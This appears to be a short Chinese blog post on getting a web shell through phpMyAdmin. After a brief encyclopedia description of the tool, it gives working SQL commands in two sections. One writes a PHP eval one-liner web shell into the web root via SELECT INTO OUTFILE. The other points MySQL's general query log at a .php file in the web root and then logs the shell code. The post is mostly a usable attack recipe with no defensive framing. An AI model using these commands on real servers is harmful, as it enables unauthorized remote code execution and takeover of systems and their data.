phpmyadmin拿shell

发布于 2020-09-09  124 次阅读


0x01 简介

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。——百度百科

0x02 使用sql语句写入一句话

首先要知道网站的绝对路径,可以通过报错或者phpinfo获取

SELECT "<?php @eval($_POST['ant']);?>" INTO OUTFILE "D:\\phpStudy\\PHPTutorial\\WWW\\ant.php"

0x03 利用报错日志getshell

#开启日志
set global general_log='on'   //首先设置为on
#查看是否开启成功
show variables like "general_log%"
#设置日志路径
set global  general_log_file ="D:\\phpStudy\\PHPTutorial\\WWW\\ant.php"
#这样执行的sql语句都会写入到日志文件中
select '<?php @eval($_POST['ant']);?>' //有时写入到文件中时会报错,因为格式不对,可以更换一句话代码解决问题
#访问/ant.php拿到shell

我不懂世界到底在热闹些什么